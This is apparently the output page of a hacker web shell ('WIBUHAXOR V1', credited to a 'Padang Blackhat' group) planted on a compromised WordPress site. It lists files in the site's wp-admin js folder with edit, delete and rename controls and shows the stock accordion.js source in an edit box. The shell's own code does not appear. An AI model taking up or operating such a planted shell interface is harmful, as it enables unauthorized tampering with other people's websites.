-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-adminVIp
/
js
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
widgets
--
NONE
accordion.js
2.869KB
Edit File
Delete File
Rename
accordion.min.js
0.829KB
Edit File
Delete File
Rename
application-passwords.min.js
2.932KB
Edit File
Delete File
Rename
color-picker.min.js
3.404KB
Edit File
Delete File
Rename
custom-background.min.js
1.178KB
Edit File
Delete File
Rename
customize-nav-menus.js
106.114KB
Edit File
Delete File
Rename
editor-expand.js
41.608KB
Edit File
Delete File
Rename
language-chooser.min.js
0.413KB
Edit File
Delete File
Rename
media-gallery.js
1.272KB
Edit File
Delete File
Rename
media-gallery.min.js
0.597KB
Edit File
Delete File
Rename
nav-menu.min.js
25.424KB
Edit File
Delete File
Rename
revisions.js
33.125KB
Edit File
Delete File
Rename
tags-box.js
10.879KB
Edit File
Delete File
Rename
tags-box.min.js
3.005KB
Edit File
Delete File
Rename
tags-suggest.js
5.532KB
Edit File
Delete File
Rename
tags-suggest.min.js
2.192KB
Edit File
Delete File
Rename
tags.js
4.773KB
Edit File
Delete File
Rename
tags.min.js
1.965KB
Edit File
Delete File
Rename
updates.min.js
40.495KB
Edit File
Delete File
Rename
user-profile.min.js
6.042KB
Edit File
Delete File
Rename
/** * Accordion-folding functionality. * * Markup with the appropriate classes will be automatically hidden, * with one section opening at a time when its title is clicked. * Use the following markup structure for accordion behavior: * * <div class="accordion-container"> * <div class="accordion-section open"> * <h3 class="accordion-section-title"></h3> * <div class="accordion-section-content"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"></h3> * <div class="accordion-section-content"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"></h3> * <div class="accordion-section-content"> * </div> * </div> * </div> * * Note that any appropriate tags may be used, as long as the above classes are present. * * @since 3.6.0 * @output wp-admin/js/accordion.js */ ( function( $ ){ $( function () { // Expand/Collapse accordion sections on click. $( '.accordion-container' ).on( 'click keydown', '.accordion-section-title', function( e ) { if ( e.type === 'keydown' && 13 !== e.which ) { // "Return" key. return; } e.preventDefault(); // Keep this AFTER the key filter above. accordionSwitch( $( this ) ); }); }); /** * Close the current accordion section and open a new one. * * @param {Object} el Title element of the accordion section to toggle. * @since 3.6.0 */ function accordionSwitch ( el ) { var section = el.closest( '.accordion-section' ), sectionToggleControl = section.find( '[aria-expanded]' ).first(), container = section.closest( '.accordion-container' ), siblings = container.find( '.open' ), siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(), content = section.find( '.accordion-section-content' ); // This section has no content and cannot be expanded. if ( section.hasClass( 'cannot-expand' ) ) { return; } // Add a class to the container to let us know something is happening inside. // This helps in cases such as hiding a scrollbar while animations are executing. container.addClass( 'opening' ); if ( section.hasClass( 'open' ) ) { section.toggleClass( 'open' ); content.toggle( true ).slideToggle( 150 ); } else { siblingsToggleControl.attr( 'aria-expanded', 'false' ); siblings.removeClass( 'open' ); siblings.find( '.accordion-section-content' ).show().slideUp( 150 ); content.toggle( false ).slideToggle( 150 ); section.toggleClass( 'open' ); } // We have to wait for the animations to finish. setTimeout(function(){ container.removeClass( 'opening' ); }, 150); // If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value. if ( sectionToggleControl ) { sectionToggleControl.attr( 'aria-expanded', String( sectionToggleControl.attr( 'aria-expanded' ) === 'false' ) ); } } })(jQuery);
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat